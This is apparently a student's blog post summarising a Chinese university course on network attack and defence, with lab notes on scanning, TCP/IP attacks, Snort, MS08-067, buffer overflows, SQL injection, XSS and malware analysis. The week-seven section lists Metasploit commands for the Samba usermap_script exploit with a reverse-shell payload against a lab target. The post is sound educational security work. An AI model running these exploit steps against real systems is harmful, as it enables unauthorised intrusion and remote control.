20252905 2025-2026-2 《网络攻防实践》课程总结

20252905 2025-2026-2 《网络攻防实践》课程总结

1.内容总结

第1次实践 虚拟化网络攻防实验环境搭建:
安装配置vmware虚拟机环境,配置出一套基本的网络攻防实验环境,包含Kali、WinXPattacker、SEEDUbuntu9三台攻击机和Metasploitable、Win2kServer两台靶机的iso镜像系统,并且完成网络连通性测试,基本了解基于vmware的蜜罐网络拓扑结构,对虚拟机的三种典型网络接口模式有一定理解。

第2次实践 网络信息搜集:
先对目标域名进行dns解析,将IP地址使用nslookup进行查询并查询基本的注册人信息,算是网络传输形式的基本了解,后使用Nmap和Nessus对网络和漏洞进行扫描,知晓了如何探索本机存在的漏洞。

第3次实践 网络嗅探与协议分析:
使用tcpDump对访问网站的过程进行嗅探,并结合wireshark对网络传输报文进行分析。大型门户网站并非只会使用单一服务器进行支持,大多会使用多个服务器共同响应,引入负载均衡的概念,并通过telnet的明文传输认识到了信息安全的重要性,任何信息轨迹在网络上都是有迹可循。

第4次实践 TCP/IP协议栈攻击:
通过TCP/IP协议栈中的ARP,ICMP,SYNflood,TCP RST攻击、TCP会话劫持攻击,深入理解网络攻防的概念,ARP欺骗主要是通过伪造MAC地址从而实现中间人监听,ICMP重定向通过路由信息进行流量坚持,SYNFlood类似于洪水,通过海量对话消耗服务器资源从而拒绝合法用户的请求,TCP-RST通过伪造重置包强制中断连接,TCP会话劫持则实现非授权访问,这是各个协议本身存在的问题,针对存在的问题,理解其原理,最终打上补丁,网络攻防正是在攻与防的较量之中不断进步的。

第5次实践 防火墙与入侵检测:
首先学习了防火墙配置,防火墙的规则可以屏蔽非法访问或是只开启特殊访问,并使用snort对pcap文件进行性入侵检测分析,将日志记录为pacap格式文件,基本了解入侵检测与防御系统是如何进行联合工作的。

第6次实践 Windows系统安全攻防:
使用Metasploit针对Win2kServer靶机的MS08-067漏洞发起远程渗透攻击,获取目标主机的访问权,并且将攻击过程进行解码分析,知晓如何进行攻击,掌握了漏洞检索,载荷配置,会话建立等完整攻击内容,收获良多。

第7次实践 Linux系统安全攻防:
使用Metasploit利用Samba服务usermap_script漏洞对靶机发起渗透攻击,同时使用TcpDump,WireShark,Snort等进行监听,深入理解攻击原理。主要是利用反向shell操作使得靶机主动连接攻击机,并窃取最高权限,获取用户信息;防御端则利用wireshark抓取并分析攻击流量,确认攻击来源和方法
第8次实践 恶意代码分析与僵尸网络:
对恶意代码rada样本进行类型识别脱壳与提取,利用IDA分析恶意执行程序,了解文件内容、功能、分类和原理等,分析蜜罐主机被劫持的流程和攻击方式。主要是熟悉了自动脱壳,IDA等工具的熟悉和使用。

第9次实践 缓冲区溢出攻击:
pwn1本质是一个正常程序,一般情况下从main部分进入,通过分析发现其具有foo漏洞,因此考虑触发getshell操作,分别就直接修改地址,内存溢出和代码注入三种方式拿到shell,本次实验也是二进制漏洞的利用过程。

第10次实践 Web安全(SQL注入与XSS):
SQL注入攻击都是老熟人了,通过代码行不经过检查而直接录入代码从而绕过逻辑判断,直接进入系统。XSS攻击,是在社交平台植入恶意脚本,从而实现了弹窗经过,cookie窃取和用户请求伪造等过程,并根据攻击原理给出了防御思路,让我们培养了网络安全的思路。

第11次实践 Web浏览器渗透攻击与网页木马分析:
使用Metasploit中的MS06-014渗透攻击模块,这里给我卡死了两周,,,,,最终还是换了虚拟机才解决,,最痛苦的一次,说实话,干不动的确认自己了解原理后,该放也就放了吧。后面的网页木马攻击还是蛮有意思的是,没想到二十几年前的攻击已经这么有思路了,现代的计算机安全防护正是吸取了这些问题,才能逐步发展到现在,

2.最喜欢且做得最好的实践是哪次?为什么?

应该是第六次实践,主要是之前本科就接触过wireshark,也是实验课用的,感觉现在好用还不需要破解的外国软件不很多是,但是一直学习的比较浅,这会写报告,基本上跟之前掌握的程度差不多。
后来计算机系统安全和网络信任体系的课程汇报上都会跟网络流量分析比较相关,就在B站找课程学了下,了解更加输入了。且众所周知校园网的http协议,没有tls加密,因此也连着校园网尝试分析了下公共流量包,看到了很多苹果设备在公共频道上呼叫来去,其中的设备信息也算是某种私人信息吧,还是用心学蛮有收获的。

3.本门课学到的知识总结

第一周

vmware网络模式:
NAT模式,虚拟机与宿主机共享IP上网
桥接模式,虚拟机可以直接访问外网,从路由器获取ip值
仅主机模式:虚拟机之前可以互相访问的模拟环境。
VMwareTools安装不好的对策:先尝试安装vmtools,如果实在没办法,还可以用云端空投快传,再不行还可以用共享文件夹。
攻击机:Kali Linux,专门用作渗透测试的Linux攻击机,集成Metasploit、Nmap、Wireshark等攻击工具。winXPAttacker,旧版Windows攻击机。
蜜罐与蜜网:蜜罐指伪装为真实系统的诱饵,吸引攻击者入侵进行攻击,从而分析其攻击方式或进行反入侵攻击,蜜网,由多个蜜罐组成的网络。

第二周

将域名用DNS进行解析,定位和查询,通过与好友的聊天也能有获取到其位置信息,当然这里感觉成功率比较有限,现在网络ip到处飞的,需要合适的筛选条件还要一点点运气。
Nmap环境扫描,主机发现类的如Ping,ARP,端口扫描,版本检测,性能监测,目标资产探测,漏洞扫描之类的,是网络攻防的基本功,适用于主动探测工具,这个后续可以深入研究下,感觉有很多东西有待发掘。

  • DNS解析与nslookup查询,定位域名对应IP及注册人信息
  • Nmap主动探测:主机发现(Ping/ARP)、端口扫描、版本检测、漏洞扫描
  • 网络攻防基本功,适用于主动探测与资产发现

第三周

tcpdump网络资源嗅探,wireshark数据包分析,snort检测扫描等。传统的telnet明文传输存在较大隐患。
snort网络入侵检测与防御系统
嗅探模式,抓取并显示经过网卡的数据包;
数据包记录模式,将抓取到的数据包存入到磁盘当中
NIDS,基于规则对流量进行监测与告警,逐条与规则库进行匹配和分析

第四周

ARP欺骗,伪造ARP响应,将攻击者MAC与合法IP绑定
ICMP重定向攻击,伪造ICMP重定向报文,诱导主机使用恶意路由。
SYNFlood,发送大量伪造SYN包,耗尽服务器处理资源,迫使合法用户无法正常访问服务器
TCP RST攻击,伪造RST包,强制中断TCP会话,破坏SSH协议
TCP会话劫持,伪造数据包插入恶意内容,从而篡改数据或者进行身份冒用。
总结下就是:ARP欺骗通过伪造MAC地址实现中间人监听;ICMP重定向利用路由信息篡改实现流量劫持;SYN Flood消耗服务器连接资源导致拒绝服务;TCP RST攻击伪造重置包强制中断连接;TCP会话劫持则通过预测序列号或窃取凭证实现非授权访问。

第五周

防火墙配置:通过过滤ICMP echo-request报文,使得主机不响应ping命令,设置拒绝入站流量,只允许特定IP访问特定端口,其他外部流量访问拒绝
Snort入侵检测,读取pacap文件进行时候访问,并且将报警日志存储在指定位置
蜜网网关:通过防火墙限制攻击者从蜜罐外联,从而成为攻击跳板;IDS可以捕获攻击流量,记录攻击特征并进行后续分析

  • iptables配置:过滤ICMP、设置白名单访问控制
  • Snort对pcap文件进行入侵检测分析,日志记录为pcap格式
  • 蜜网网关:防火墙限制攻击者外联 + IDS捕获攻击流量
  • 理解IDS/IPS协同工作机制

第六周

MS08-067 (CVE-2008-4250)——SMB服务NetpwPathCanonicalize函数路径处理不当导致栈缓冲区溢出
PayLoad有效载荷,在目标系统上实际执行恶意攻击的代码,exploit是开始执行这个过程,一般情况下payload分成正向shell,即攻击机主动连接,反向shell,攻击机令靶机主动连接攻击机,meterpreter,高级的反向shell,建立一个加密的可扩展的通道交互,功能很强大。

第七周

步骤 命令/操作 说明
①启动MSF msfconsole 启动Metasploit控制台界面
②搜索模块 search usermap_script 查找Samba漏洞利用模块
③使用模块 use exploit/multi/samba/usermap_script 加载渗透攻击模块
④查看配置 show options 显示需要设置的参数
⑤查看载荷 show payloads 显示可用的攻击载荷列表
⑥设置载荷 set PAYLOAD cmd/unix/reverse 设置反向连接Shell
⑦设置目标IP set RHOST 192.168.200.124 靶机IP地址
⑧设置本机IP set LHOST 192.168.200.4 攻击机IP地址
⑨执行攻击 exploit 或 run 发起渗透攻击
⑩获取Shell 成功后会显示 Command Shell Session 获得远程控制权

第八周

静态分析
rada恶意代码分析,主要是先使用file进行文件识别,接着使用PEiD进行查壳,判断壳类型等
字符串提取,使用strings从二进制文件中提取可读信息,寻找攻击者信息等
反汇编,使用IDA对脱壳后的程序进行静态分析,查看函数调用逻辑关系并定位关键代码
动态分析
通过动态调试,设置断点修改寄存器等绕过验证逻辑,从而理解程序执行,后面的流量分析都是比较熟练的了

第九周

通过pw1程序中的foo函数的缓冲区溢出漏洞从而获取系统控制权,主要从手动修改程序执行路径,触发缓冲区溢出以及注入执行shellcode等方式进行,简单来说,要么是自己改程序,要么是注入自己的shellcode,从而让攻击者错误执行自己的命令。所以结合计算机系统安全课程,针对此类分析,对栈缓冲区溢出漏洞进行学习,可以使用地址随机化等技术防止此类攻击方式。

概念 含义
栈帧 函数调用时在栈上分配的内存区域,存储局部变量、参数、返回地址等
返回地址 函数结束后应返回的代码位置,溢出攻击的主要目标
Shellcode 一段用于获取系统控制权的机器码,通常用于启动Shell
NOP sled 连续NOP指令(0x90)序列,提高Shellcode命中率
栈金丝雀(Canary) 在返回地址前插入的随机值,溢出时会先破坏Canary,被检测后程序终止
ASLR 地址空间布局随机化,每次运行时栈/堆/基址随机,防止攻击者猜中地址
DEP/NX 数据执行保护,栈不可执行,阻止Shellcode运行

第十周

SQL注入攻击:通过sql语句进行注入,从而完成认证绕过或是数据篡改等攻击方式,
xss攻击:通过注入让用户在打开时执行,或者是记录用户cookie,伪造合法用户请求等完成
SQL注入的本质是数据和代码的分离失败。当用户输入被错误地当作代码执行时,查询逻辑就会被控制。唯一的根治方法是使用参数化查询。

类型 特点 触发方式 危害程度
反射型XSS 恶意脚本在请求参数中,需诱导用户点击 用户点击恶意链接
存储型XSS 恶意脚本存储在服务器数据库 访问被感染页面即可触发
DOM型XSS 通过修改DOM环境执行 无需服务器响应,纯前端触发

第十一周

web浏览器渗透攻击:通过构造恶意网页木马,使用户在访问网页过程中即可获取远程控制权
恶意代码分析:将下载下来的恶意代码用工具进行解密并分析其中的内容,识别存在的漏洞和恶意行为。
攻击的本质:利用浏览器或其插件的历史漏洞(如MS06-014),通过Metasploit等工具生成恶意网页,诱使目标访问,从而在目标机器上执行任意代码,建立远程后门。
分析的要点:挂马攻击常采用多层嵌套、代码混淆、动态解密等技巧隐藏恶意行为。分析时,需要从入口脚本开始,逐层跟踪、解密,最终还原出核心的恶意载荷(如下载器、Shellcode),并据此判断攻击者利用的具体漏洞和攻击意图。

行为类型 具体表现
持久化 写入注册表Run项、创建计划任务、添加服务
隐蔽通信 HTTP/DNS隧道、域名生成算法(DGA)、加密流量
信息窃取 键盘记录、截屏、文件窃取、凭证窃取
横向移动 扫描内网、弱口令爆破、漏洞利用(如永恒之蓝)
破坏行为 文件加密(勒索)、文件删除、系统破坏

4.课堂的收获与不足

收获是很多工具都入了门,如果说自己对某个方向感兴趣,或者有需求做,至少有个方向和起步的底子,很多时候就卡在第一步进行不下去,就很无了;不足也是存在的,靶机系统太老了,从实验中学到的知识,如果自己没有心思或时间继续去摸索,这会六月初,暑假一过啥都忘了。哎,最好再给一些现代计算机攻防的例子和学习方向和平台会蛮不错,其他的倒是没有什么,感觉跟两年前上的Hadoop有点类似,不过没做那个方向,基本上忘的也差不多了,确实实验课能让大部分人具有基本的素养,就这而言,本课程的教学目标是达到了的。最后网络不是法外之地,不可胡作非为。很多漏洞只是久闻其名,这会看到了觉得确实不得了,有一点跟之前学习的计算机组成原理联系起来了,知识还是需要躬行才能真正化为己用。
结果还发现了个挺好玩的,这个博客的编辑框如果输入script加<>会自动过滤掉其余信息,估计是怕我们写什么不好的东西,用了过滤条件,也算是学以致用了哈哈。

posted @ 2026-06-03 16:16  Rainloop  阅读(3)  评论(0)    收藏  举报